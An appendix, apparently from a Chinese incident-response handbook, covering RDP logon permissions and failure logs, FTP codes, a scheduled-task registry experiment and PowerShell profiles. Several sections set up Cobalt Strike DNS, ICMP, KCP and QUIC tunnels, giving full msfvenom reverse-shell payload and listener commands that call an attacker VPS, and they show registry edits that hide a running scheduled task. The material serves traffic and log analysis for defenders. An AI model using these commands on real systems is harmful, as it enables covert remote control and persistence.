跳转至

知识点附录

0x01 谁可以使用远程桌面服务

Windows 中确定可登录账号要比 Linux 麻烦一些

默认情况下,开启远程桌面登录,将自动允许以下两个组的成员登录

  • Administrators
  • Remote Desktop Users

搜索计算机管理

image-20231228000334799

image-20231228000407206

计算机管理(本地) -> 系统工具 -> 本地用户和组

默认情况下 Remote Desktop Users 组是空的,抛开运维人员额外配置以外,还有一种情况会将用户添加到该组

image-20231227232144221

如果在此处点击选择用户,之后就可以选择用户拥有使用远程桌面连接的权限

image-20231227232501708

image-20231227232556909

输入想要使用远程桌面的用户名,点击检查名称后,会自动识别匹配计算机中的用户名

image-20231227232723145

此时点击确定,remotetest 用户就可以使用远程桌面连接服务器了

在计算机管理的用户和组中可以看到,remotetest 已经被添加到 Remote Desktop Users 组了

image-20231227232944502

image-20231227233023340

Windows 中可以通过组策略设置允许/拒绝某个用户/用户组 通过远程桌面登录

win + r 或点击搜索图标,填入 Gpedit.msc

image-20231228001117017

image-20231228001300111

本地计算机 策略 -> 计算机配置 -> Windows 设置 -> 安全设置 -> 本地策略 -> 用户权限分配

打开 允许通过远程桌面服务登录

image-20231228001621234

可以看到,这里默认存在两个组,也就是上面我们讨论的。选择添加用户或组,将我们 Users 组中的 remotetest(此时只在 Users 组) 添加进去

image-20231228001854579

刷新组策略,使其立即生效

gpupdate /force /target:computer

image-20231228001952566

尝试通过 remotetest 进行登录

image-20231228002041238

很遗憾,依旧不允许登录

本来我还以为找到了 Windows 管理用户登录的配置项,现在看来并不是,至少优先级不是很高

删除掉我们刚才的配置,还原默认情况,打开 允许通过远程桌面服务登录

image-20231228002431265

默认情况下是空的,我们将管理员组的 helper 添加进去

image-20231228002534077

刷新组策略,使其立即生效

gpupdate /force /target:computer

image-20231228002613643

使用 helper 账户进行登录

image-20231228002656437

可以看到,是无法登录的,同时正在本地登录的 helper 也不会被挤掉,没有任何反应

我们测试一下在 允许/拒绝 两个配置项中都添加 helper 会怎么样

image-20231228003019362

image-20231228002534077

image-20231228003042882

尝试登录

image-20231228003119555

登录不了

因此从逻辑角度来讲,允许通过远程桌面服务登录 的意义可能在于,拒绝通过远程桌面服务登录 将上述两个默认可以登录的组禁止了,之后再通过 允许通过远程桌面服务登录 设置特例,不然感觉不到它的意义

尝试将 remotetest 加入 Remote Desktop Users 组,之后将 Remote Desktop Users 组设置为拒绝登录

image-20231228003619268

此时测试,remotetest可以远程登录到服务器

image-20231228003750213

image-20231228004037370

尝试使用 remotetest 登录系统

image-20231228004414370

无法登录,经过测试,此时管理员组的 helper 是可以正常登录的

尝试在 允许通过远程桌面服务登录 中添加 remotetest 账户

image-20231228004900792

image-20231228004923898

再次尝试通过 remotetest 进行登录

image-20231228005020114

还是无法登录

此时就无法理解 Windows 中 允许通过远程桌面服务登录 的意义到底是什么了,目前可以确定的是: Windows Server 2016 中能够登录远程桌面的账户为

  • Administrators 组内账号
  • Remote Desktop Users 组内账号
  • 减去 拒绝通过远程桌面服务登录 组策略内的账号和组

参考文章

https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/remote/deny-user-permissions-to-logon-to-rd-session-host

0x02 RDP爆破登录的日志情况

RDP 暴力破解肯定会造成非常多的登录错误日志

  • 打开事件查看器,可以通过在开始菜单中搜索 "事件查看器" 或运行命令 eventvwr.msc 来打开它。
  • 在事件查看器窗口中,导航到 "Windows 日志" > "安全"。
  • 在右侧窗格中,你将看到列出的安全事件日志。
  • 在过滤器中,选择 "筛选当前日志"。
  • 在 "事件 ID" 输入框中输入 "4625",这是与用户登录失败相关的事件 ID。
  • 单击 "确定" 按钮,将仅显示与用户登录失败相关的事件日志。

image-20231228180227395

帐户登录失败。

使用者:
    安全 ID:      NULL SID
    帐户名:        -
    帐户域:        -
    登录 ID:      0x0

登录类型:           3

登录失败的帐户:
    安全 ID:      NULL SID
    帐户名:        Administrator
    帐户域:        

失败信息:
    失败原因:       未知用户名或密码错误。
    状态:         0xC000006D
    子状态:        0xC000006A

进程信息:
    调用方进程 ID:   0x0
    调用方进程名: -

网络信息:
    工作站名:   -
    源网络地址:  10.211.55.2
    源端口:        0

详细身份验证信息:
    登录进程:       NtLmSsp 
    身份验证数据包:    NTLM
    传递服务:   -
    数据包名(仅限 NTLM):  -
    密钥长度:       0

在这些错误信息中可以获取到源IP、使用的用户名、登录的类型

这里使用的是 goby 进行暴力破解模拟,记录的类型是 3 ,也就是网络登录,然而一般网络登录记录的是SMB、映射网络驱动器等

我们尝试使用 fscan 暴力破解

image-20231228182032882

帐户登录失败。

使用者:
    安全 ID:      NULL SID
    帐户名:        -
    帐户域:        -
    登录 ID:      0x0

登录类型:           3

登录失败的帐户:
    安全 ID:      NULL SID
    帐户名:        admin
    帐户域:        

失败信息:
    失败原因:       未知用户名或密码错误。
    状态:         0xC000006D
    子状态:        0xC0000064

进程信息:
    调用方进程 ID:   0x0
    调用方进程名: -

网络信息:
    工作站名:   -
    源网络地址:  10.211.55.2
    源端口:        0

详细身份验证信息:
    登录进程:       NtLmSsp 
    身份验证数据包:    NTLM
    传递服务:   -
    数据包名(仅限 NTLM):  -
    密钥长度:       0

登录请求失败时在尝试访问的计算机上生成此事件。

“使用者”字段指明本地系统上请求登录的帐户。这通常是一个服务(例如 Server 服务)或本地进程(例如 Winlogon.exe 或 Services.exe)。

“登录类型”字段指明发生的登录的种类。最常见的类型是 2 (交互式)和 3 (网络)。

“进程信息”字段表明系统上的哪个帐户和进程请求了登录。

“网络信息”字段指明远程登录请求来自哪里。“工作站名”并非总是可用,而且在某些情况下可能会留为空白。

“身份验证信息”字段提供关于此特定登录请求的详细信息。
    -“传递服务”指明哪些直接服务参与了此登录请求。
    -“数据包名”指明在 NTLM 协议之间使用了哪些子协议。
    -“密钥长度”指明生成的会话密钥的长度。如果没有请求会话密钥,则此字段为 0。

fscan 暴力破解留下的日志登录类型也是 3

尝试通过官方的远程工具制造登录失败日志

帐户登录失败。

使用者:
    安全 ID:      NULL SID
    帐户名:        -
    帐户域:        -
    登录 ID:      0x0

登录类型:           3

登录失败的帐户:
    安全 ID:      NULL SID
    帐户名:        admin
    帐户域:        .

失败信息:
    失败原因:       未知用户名或密码错误。
    状态:         0xC000006D
    子状态:        0xC0000064

进程信息:
    调用方进程 ID:   0x0
    调用方进程名: -

网络信息:
    工作站名:   WINDOWS-11
    源网络地址:  10.211.55.53
    源端口:        0

详细身份验证信息:
    登录进程:       NtLmSsp 
    身份验证数据包:    NTLM
    传递服务:   -
    数据包名(仅限 NTLM):  -
    密钥长度:       0

通过官方给 mac 开发的工具查看

帐户登录失败。

使用者:
    安全 ID:      NULL SID
    帐户名:        -
    帐户域:        -
    登录 ID:      0x0

登录类型:           3

登录失败的帐户:
    安全 ID:      NULL SID
    帐户名:        admin1
    帐户域:        

失败信息:
    失败原因:       未知用户名或密码错误。
    状态:         0xC000006D
    子状态:        0xC0000064

进程信息:
    调用方进程 ID:   0x0
    调用方进程名: -

网络信息:
    工作站名:   -
    源网络地址:  10.211.55.2
    源端口:        0

详细身份验证信息:
    登录进程:       NtLmSsp 
    身份验证数据包:    NTLM
    传递服务:   -
    数据包名(仅限 NTLM):  -
    密钥长度:       0

如果是远程桌面应用登录成功呢

image-20231228184300713

当输入正确的密码后,来到此页面,此时服务器的日志情况为

image-20231228184418634

也是登录类型为 3 ,当然事件ID4624

image-20231228184508849

类型为注销的日志登录类型也是 3

此时点击是,进行正常登录

image-20231228184650773

image-20231228184745007

紧接着刚才的日志,又产生了登录类型为 3 和 2 的登录日志

image-20231228184942252

image-20231228185018534

之后来到登录类型为 10 的日志

image-20231228185115960

登录类型 10 就是远程互动登录了,主要就是指远程桌面

所以这里大家需要关注的是事件 ID4625 的日志,而不是只关注 4625 日志中登录类型为 10 的日志

事件ID列表和登录类型列表如下

事件ID 事件标题 描述
4624 登录成功 记录用户成功登录系统的事件,包括登录类型、登录时间和登录用户等信息。
4625 登录失败 记录登录尝试失败的事件,提供有关失败原因、失败子状态和登录用户名等信息。
4634 注销 记录用户注销系统的事件,包括注销类型和注销用户等信息。
4648 以明文密码登录 记录以明文密码方式进行的登录尝试的事件。
4768 Kerberos 预身份验证 记录使用Kerberos预身份验证的事件,通常用于服务票据(Service Ticket)的请求。
4769 Kerberos 服务票据请求 记录请求Kerberos服务票据的事件,通常用于服务认证。
4776 帐户已锁定 记录帐户由于登录失败次数超过限制而被锁定的事件。
7035 服务状态更改 记录系统中的服务状态更改事件,例如服务的启动、停止和重启。
7045 服务安装 记录新安装的服务的事件,包括服务名称和执行路径等信息。
800 Windows Update 完成 记录Windows Update 完成的事件

登录类型

登录类型 登录标题 描述
0 System 仅由系统帐户使用,例如在系统启动时。
2 Interactive 登录到此计算机的用户
3 Network 从网络登录到此计算机的用户或计算机。
4 Batch 批处理登录类型由批处理服务器使用,其中进程可以代表用户执行,而无需用户直接干预。
5 Service 服务控制管理器已启动服务。
7 Unlock 已解锁此工作站。
8 NetworkCleartext 从网络登录到此计算机的用户。 用户的密码以未经过哈希处理的形式传递给验证包。 内置的身份验证将所有哈希凭证打包,然后再通过网络发送它们。 凭据不会以纯文本(也称为明文)形式遍历网络。
9 NewCredentials 调用方克隆了其当前令牌并为出站连接指定了新凭据。 新登录会话具有相同的本地标识,但对其他网络连接使用不同的凭据。
10 RemoteInteractive 使用终端服务或远程桌面远程登录到此计算机的用户。
11 CachedInteractive 使用存储在计算机上的本地网络凭据登录到此计算机的用户。 未联系域控制器以验证凭据。
12 CachedRemoteInteractive 与 RemoteInteractive 相同。 这用于内部审核。
13 CachedUnlock 工作站登录。

参考文档

https://learn.microsoft.com/zh-cn/windows-server/identity/securing-privileged-access/reference-tools-logon-types

https://learn.microsoft.com/zh-cn/windows/security/threat-protection/auditing/event-4624

0x03 RDP和SMB登录失败日志的区别

在 Windows Server 2016 中, RDPSMB 登录失败的日志ID均为 4625 ,登录类型均为 3

image-20231229000432487

但是经过多种工具测试发现: SMB协议登录失败会记录源端口、RDP协议登录源端口为 0

0x04 FTP 状态码列表

FTP(文件传输协议)定义了一系列状态码,用于表示服务器对客户端请求的响应状态。下面是一些常见的FTP状态码及其含义的示例:

1. 100 系

1xx(肯定的初步答复):表示服务器已接收到请求并等待进一步操作。

  • 100:服务器已准备就绪,可以执行新的用户请求。
  • 110:重新启动标记回应。

2. 200 系

2xx(肯定的完成答复):表示服务器成功接收并理解了客户端请求。

  • 200:命令执行成功。
  • 202:命令未执行,站点上的命令队列已满。
  • 211:系统状态回复。
  • 212:目录状态回复。
  • 213:文件状态回复。
  • 214:帮助信息回复。
  • 215:系统类型回复。
  • 220:服务就绪,可以执行新的用户请求。
  • 221:服务关闭控制连接,请求的文件操作已成功完成。
  • 225:数据连接打开,无需传输数据。
  • 226:关闭数据连接,请求的文件操作已成功完成。
  • 227:进入被动模式(IP 地址、ID 端口)。
  • 228:进入长袖模式(服务器等待客户端连接)。
  • 229:进入扩展被动模式(服务器等待客户端连接)。
  • 230:用户已登录,继续进行。
  • 250:文件操作完成,路径名创建。

3. 300 系

3xx(肯定的中间答复):表示需要进一步采取操作以完成请求。

  • 331:需要用户名和密码进行身份验证。
  • 332:需要帐户信息进行身份验证。
  • 350:请求的文件操作需要进一步的信息。

4. 400 系

4xx(暂时的否定答复):表示客户端的请求包含错误语法或无法完成。

  • 421:服务不可用,正在关闭控制连接。
  • 425:无法打开数据连接。
  • 426:连接关闭,传输中止。
  • 450:请求的文件操作被拒绝。

5. 500 系

5xx(永久的否定答复):表示服务器拒绝执行客户端请求。

  • 500:无效的命令。
  • 501:参数语法错误。
  • 502:命令未实现。
  • 503:错误的命令序列。
  • 504:命令参数不可用。
  • 530:登录失败,需要有效的用户名和密码。
  • 532:存储文件需要帐户。
  • 550:请求的操作被拒绝或文件不可用。

0x05 FTP 命令列表

FTP(文件传输协议)定义了一些常见的方法(也称为命令),用于在客户端和服务器之间进行文件传输和管理。以下是一些常见的FTP方法:

  • USER:用于指定登录用户名。

  • PASS:用于指定登录密码。

  • LIST:列出指定目录下的文件和子目录。
  • CWD(Change Working Directory):改变当前工作目录。
  • PWD(Print Working Directory):打印当前工作目录的路径。
  • RETR(Retrieve):从服务器下载(获取)文件。
  • STOR(Store):向服务器上传(存储)文件。
  • DELE(Delete):删除服务器上的指定文件。
  • MKD(Make Directory):创建新目录。
  • RMD(Remove Directory):删除目录。
  • RNFR(Rename From):重命名文件或目录的起始位置。
  • RNTO(Rename To):重命名文件或目录的目标位置。
  • ABOR(Abort):中止正在进行的文件传输。
  • QUIT:断开与服务器的连接并退出FTP会话。

除了上述方法,FTP还支持其他一些方法,如APPE(追加文件内容)和SIZE(获取文件大小),这些方法的具体实现可能会因FTP服务器的不同而有所差异。此外,FTP还支持一些用于传输数据的命令,如PASV(被动模式)和PORT(主动模式)。

0x06 CobaltStrike DNS 隧道演示

大家也可以在本地进行实验,这里为了贴近真实,采用真实的域名和VPS服务器

1. 部署 CobaltStrike 服务器

直接在 Vultr 创建一个 Kali Linux,并且搭建 CS 服务器端

image-20231230180333211

image-20231230203712114

2. 创建域名解析记录

域名为 vulndmz.com

image-20231230204544204

设置 A 记录只向我们的 CS地址,添加一条 NS记录,指向 A 记录,这样 ns.vulndmz.com 设置为 www.vulndmz.com 的授权域名服务器

3. CS上添加监听器

image-20231230205402078

4. 生成 payload

image-20231230205524521

image-20231230205559103

5. 受害主机执行后上线

image-20231230210916844

6. 流量分析

image-20231230211252406

可以看到存在 TXTAAAAA等记录,并且存在非常长的 DNS 记录,例如

post.2b015e68bdce7d286b2f23340bb11349fd245e3b158b15f96fb3abe3e.f8e1b3007d4f2e98a41f5c0aceb92097545de8ff4b698b260f4963e7.1fb27f5a.3556fdbe.ns1.vulndmz.com

0x07 Pingtunnel ICMP隧道演示

场景为受害主机只允许 ICMP ,现在想上线 MSF,所以我们要将受害主机与攻击机中间建立一条隧道,之后让msftcp木马通过隧道反弹 shell

1. 部署Pingtunnel服务端

wget https://github.com/esrrhs/pingtunnel/releases/download/2.8/pingtunnel_linux_amd64.zip
unzip pingtunnel_linux_amd64.zip
./pingtunnel -type server -key 1234

这里设置密码为 1234

image-20231230234928348

2. 客户端连接服务端

pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4444 -tcp 1 -key 1234

需要管理员权限执行

这个命令的意思是客户端连接服务端 www.yourserver.com ,之后在受害主机的 4455 端口和攻击主机的 4444 端口做一个隧道

这里域名也可以是 IP ,刚好 CS 演示时配置了 DNS ,域名为 www.vulndmz.com ,这里直接使用

image-20231231002227051

3. MSF 生成 payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4455 -f exe -o payload.exe

注意,这里写的反连地址为 127.0.0.1:4455

4. MSF 配置监听

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit

5. 执行 payload

image-20231231003721829

有点难为 icmp 隧道了,连接一直建立不起来,我们尝试新建一个 stageless 的木马

msfvenom -p windows/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4455 -f exe -o payload.exe
use exploit/multi/handler 
set payload windows/meterpreter_reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit

image-20231231004658415

客户端显示了有一个连接

image-20231231012710746

image-20231231012525221

然而显然是又难为它了,我们还是看一下 ICMP 隧道的情况吧

image-20231231005249230

此时在疯狂发送ICMP 包,所以一般总结以下特征

  • 向单一目标发ICMP 包频率高
  • ICMP 数据包一般大于 Windows 平台默认的长度
  • 发送内容可以看出非 Windows 平台默认的 ping 请求

6. 内网环境再次模拟

下面用内网演示一下吧

Kali: 10.211.55.35
受害主机: 10.211.55.52

现在还是将 Kali 的 4444 端口和受害主机的 4455 端口建立一条隧道

除了受害主机 Pingtunnel 客户端连接的服务端地址变了,其他都不变,甚至刚才的木马都不需要变

image-20231231014042147

image-20231231014141269

image-20231231014224213

执行木马程序,抓取数据包

image-20231231014334524

成功获取反弹shell

image-20231231014444228

流量特征与上面一样

手册里保留上面因为网络而失败的部分,主要还是想提醒大家,ICMP 隧道稳定性更差,不是逼到万不得已,可能攻击者不会采用这种方式。怪不得 CS 里默认都没有 ICMP 这种上线方式

0x08 Kcptun KCP 隧道演示

内网受害主机和攻击机之间创建一个 KCP 协议的隧道,之后通过该隧道完成 MSF 上线

受害主机: 10.211.55.52

攻击主机: xx.xx.xx.xx

1. 部署 kcptun 服务端

wget https://github.com/xtaci/kcptun/releases/download/v20231012/kcptun-linux-amd64-20231012.tar.gz
./server_linux_amd64 -t "127.0.0.1:4444" -l ":4000" -mode fast3 -nocomp -sockbuf 16777217 -dscp 46

image-20231231160930966

2. 生成 MSF payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8388 -f exe -o p_udp.exe

3. MSF 配置监听

msfconsole -q 
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 4444
exploit

image-20231231161504323

4. kcptun 客户端连接服务端

kcptun_client.exe -r "45.32.26.140:4000" -l ":8388" -mode fast3 -nocomp -autoexpire 900 -sockbuf 16777217 -dscp 46

image-20231231161700588

5. 执行 payload

客户端显示

image-20231231161800661

image-20231231161848924

成功获取 shell

6. 流量分析

image-20231231162432548

目前 Wireshark 默认还不支持 KCP 协议,显示的是 UDP 协议,需要使用一些插件

然而略显遗憾的是,我找了很多插件,都没有办法详细显示 kcptun 的数据包。虽然看着这些数据包大小相对统一,但还是之前的思想,不建议将其认定为特征

0x09 Gost QUIC 隧道演示

gost 这个工具建议大家有时间尝试一下,这里演示使用的是 V3 版本的

1. 部署 gost 服务端

wget https://github.com/go-gost/gost/releases/download/v3.0.0-nightly.20231227/gost_3.0.0-nightly.20231227_linux_amd64v3.tar.gz
./gost -L quic://45.32.26.140:1443/ -F tcp://127.0.0.1:4444 

将客户端连接到 1443 端口quic数据通道内部的流量转到 4444 端口的TCP协议的服务上

image-20231231184454846

2. 生成 MSF payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8388 -f exe -o p_quic.exe

3. MSF 配置监听

msfconsole -q 
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 4444
exploit

4. gost 客户端连接服务端

gost.exe -L tcp://127.0.0.1:8388  -F "quic://xx.xx.xx.xx:1443"

image-20231231184602680

5. 执行 payload

image-20231231184739885

成功获取shell

6. 流量分析

image-20231231185154150

除了短时间、单一目标、大量 QUIC 协议数据包(可能还包含大量的UDP协议包)以外,剩下的就是工具的特征了

0x10 谁决定计划任务的执行结果

1. 简介

由于 Windows 不开源,而 Windows 的某一项服务可能受多个配置项影响,所以很多研究员通过逆向的方式,分析服务调用过程,推测执行流程,例如

https://mp.weixin.qq.com/s/ktGug1VbSpmzh9CEGKbbdw

https://mp.weixin.qq.com/s/aS5MRwnYR5pqE1PmKiH24w

这里不搞这么复杂,我们通过查询资料得知,计划任务的配置既存在于计划任务文件之中,又存在于注册表之中

接下来我们通过简单的实验,确定一下到底是计划任务文件还是注册表在决定着计划任务的执行结果,还是相互同步修改的

测试环境: Windows Server 2016

不同操作系统的情况可能不同

整体思路如下:

创建两个计划任务,一个修改文件,一个修改注册表,之后观察两个计划任务的执行情况

计划任务文件地址

C:\Windows\System32\Tasks

注册表位置

注册表相关的在此位置
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule 

计划任务的 id、index、SD 在此位置
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree

计划任务的具体配置在此位置
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{id}

2. 修改文件测试

1) 创建计划任务

taskschd.msc 打开任务计划程序,这名字有点绕口,后续称为计划任务程序

添加一个操作: 执行 cmd

image-20240104015440593

image-20240104015512091

将触发器设置为每 3 分钟执行一次

稍作等待

成功执行计划任务

2) 查看计划任务文件

计划任务文件地址

C:\Windows\System32\Tasks

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2024-01-04T01:53:37.7714703</Date>
    <Author>WIN-2MTJ8IQ5VEA\Administrator</Author>
    <URI>\test1</URI>
  </RegistrationInfo>
  <Triggers>
    <CalendarTrigger>
      <Repetition>
        <Interval>PT3M</Interval>
        <Duration>P1D</Duration>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2024-01-04T01:51:41</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <RunLevel>LeastPrivilege</RunLevel>
      <UserId>WIN-2MTJ8IQ5VEA\Administrator</UserId>
      <LogonType>InteractiveToken</LogonType>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>C:\Windows\System32\calc.exe</Command>
    </Exec>
    <Exec>
      <Command>C:\Windows\System32\cmd.exe</Command>
    </Exec>
  </Actions>
</Task>
3) 查看注册表

先获取该计划任务的 id

{E44EFFC6-29A1-470C-9553-52531D9962B5}

Tasks 上点击编辑 -> 查找

其中 Actions 就是计划任务执行的操作,是一个二进制值

4) 修改计划任务文件

删除掉执行 cmd 的操作,即删除

<Exec>
  <Command>C:\Windows\System32\cmd.exe</Command>
</Exec>

计划任务程序并没有发生改变,等待下次计划任务执行

多次执行结果都是 计算机和 cmd 都执行了

此时查看注册表

并没有发生变化

5) 尝试重启服务器

当然,也可以尝试重启计划任务服务,虚拟机,重启服务器方便很多

依旧是两个操作都执行了

注册表没有被修改

6) 小结

看来计划任务文件不是决定计划任务执行结果的主因

3. 修改注册表测试

1) 创建计划任务

删除掉 test1 ,创建一个一摸一样的 test2 ,这次两分钟执行一次

2) 查看计划任务文件

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2024-01-04T02:17:38.3850798</Date>
    <Author>WIN-2MTJ8IQ5VEA\Administrator</Author>
    <URI>\test2</URI>
  </RegistrationInfo>
  <Triggers>
    <CalendarTrigger>
      <Repetition>
        <Interval>PT2M</Interval>
        <Duration>P1D</Duration>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2024-01-04T02:17:29</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <RunLevel>LeastPrivilege</RunLevel>
      <UserId>WIN-2MTJ8IQ5VEA\Administrator</UserId>
      <LogonType>InteractiveToken</LogonType>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>C:\Windows\System32\calc.exe</Command>
    </Exec>
    <Exec>
      <Command>C:\Windows\System32\cmd.exe</Command>
    </Exec>
  </Actions>
</Task>
3) 查看并修改注册表

修改计划任务注册表需要 SYSTEM 权限,通过 SysinternalsSuite 套件中的 psexec64.exeSYSTEM 权限启动注册表编辑器,就可以编辑了

https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite

PsExec64.exe -i -s regedit

尝试删除掉 C:\Windows\System32\cmd.exe

image-20240104022445014

刷新计划任务程序

原本的计划任务不见了

查看计划任务文件

计划任务文件没有被修改

我们设置的计划任务是 2 分钟执行一次,不急,让子弹飞一会儿

修改后虽然看不见了,依旧可以执行,观察多次执行结果都是如此

4) 重启服务器

在总的计划任务状态里还是能看见的

重启后,该计划任务不再运行,计划任务文件没有被更改

注册表对计划任务的影响很大,但是修改后,重启服务后导致不再计划任务运行,可能是修改后 HASH 校验过不去?

5) 注册表中将操作清空

计划任务程序依旧显示为空

6) 小结

注册表对计划任务影响很大,修改后不会立即生效,会在计划任务服务重启后生效

具体修改后,重启计划任务服务后执行直白,可能是因为 HASH 校验吧,也可能是因为我们修改二进制值格式不对,接下来我们来探究

4. 修改注册表中字符串值

既然二进制值修改有问题,我修改字符串试试

1) 创建计划任务

创建计划任务 test3

2) 修改注册表

将创建时间中的 2:44:58 修改为 2:40:58

这次刷新计划任务程序,非但没有消失,创建时间还被更改成功了,看来计划任务程序的内容是从注册表中拿的

目前能够成功执行,根据之前的测试结果,计划任务服务此时并不会加载注册表的修改

计划任务文件并没有被修改

3) 重启服务器

重启后,不仅创建时间被修改了没变回来,计划任务可以正常执行

计划任务文件并没有被修改

4) test2 使用 test3 的 Actions

如果我将 test3Actions 用给 test2 ,会不会把 test2 救活呢?

获取 test3Actions

image-20240104030257981

找到 test2 ,替换

test2 回来了,删除 test3 ,看看 test2 会不会立即生效

等了一会儿,没有执行

5) 重启服务器

重启服务器后成功执行

也就是说刚才我们修改二进制数据修改的不对,只要字符格式正确,应该就可以显示

5. Fuzz Actions 格式

1) 修改注册表 Actions

直接用 test2 就好

可以考虑从结尾一个字符一个字符删除,之后每次去刷新计划任务程序,查看是否显示

但是稍加观察,也可以发现,每个操作的程序路径结尾有九个00 ,由于我们知道计划任务中操作的实际内容,那直接尝试删除到九个00

image-20240104031800825

image-20240104031821183

刷新后,计划任务程序中 test2 还在,操作处果然只剩下一个操作了

计划任务文件并没有被更改

这下可以等一等接下来的计划任务执行了

之后的多次执行结果都是计算器和cmd 均执行,计划任务文件没有被更改

2) 重启服务器

通过注册表对计划任务的修改开始生效,只执行了计算器

计划任务文件没有被更改,内容如下

3) 尝试重启计划任务服务

任务管理器中直接重启是不行的,需要通过 SYSTEM 权限打开任务管理器

PsExec64.exe -i -s taskmgr /v

这回启动后, pid 就变了

计划任务文件依旧没有改变

6. 不显示的计划任务会执行吗?

这里说的并不是指修改 SD 那种,就是单纯的将 Actions 去掉一个 00

1) 修改注册表

新建一个 test4

image-20240104034907608

去掉一个 00

image-20240104034935472

计划任务程序处已经消失了,但是还在执行计算器,这是因为注册表修改的计划任务会在计划任务服务重启后生效

2) 重启计划任务服务

计划任务没有再次执行,计划任务文件没有被更改

3) 命令行执行计划任务
schtasks /query /tn "\test4"

7. 总结

  • Windows Server 2016 中计划任务主要有注册表决定
  • 通过注册表修改的计划任务不会立即生效,会在计划任务服务重启后生效
  • 计划任务文件修改后不会影响计划任务执行
  • 修改计划任务文件和修改注册表不会互相同步,也不会单向同步

0x11 PowerShell 配置文件实验

cmd 没有类似于 bash 的配置文件,但是 Powershell 是有的

https://learn.microsoft.com/zh-cn/Powershell/module/microsoft.Powershell.core/about/about_profiles?view=Powershell-7.4

PowerShell 控制台支持以下基本配置文件。 配置文件按照执行顺序列出。

  • 所有用户,所有主机
    • Windows - $PSHOME\Profile.ps1
    • Linux - /opt/microsoft/Powershell/7/profile.ps1
    • macOS - /usr/local/microsoft/Powershell/7/profile.ps1
  • 所有用户,当前主机
    • Windows - $PSHOME\Microsoft.PowerShell_profile.ps1
    • Linux - /opt/microsoft/Powershell/7/Microsoft.PowerShell_profile.ps1
    • macOS - /usr/local/microsoft/Powershell/7/Microsoft.PowerShell_profile.ps1
  • 当前用户,所有主机
    • Windows - $HOME\Documents\PowerShell\Profile.ps1
    • Linux - ~/.config/Powershell/profile.ps1
    • macOS - ~/.config/Powershell/profile.ps1
  • 当前用户,当前主机
    • Windows - $HOME\Documents\PowerShell\Microsoft.PowerShell_profile.ps1
    • Linux - ~/.config/Powershell/Microsoft.PowerShell_profile.ps1
    • macOS - ~/.config/Powershell/Microsoft.PowerShell_profile.ps1

$PROFILE 自动变量存储当前会话中可用的 PowerShell 配置文件的路径。

若要查看配置文件路径,请显示 $PROFILE 变量的值。 还可以在命令中使用 $PROFILE 变量来表示路径。

$PROFILE 变量存储“当前用户,当前主机”配置文件的路径。 其他配置文件保存在 $PROFILE 变量的注释属性中。

例如,$PROFILE 变量在 Windows PowerShell 控制台中具有以下值。

  • 当前用户,当前主机 - $PROFILE
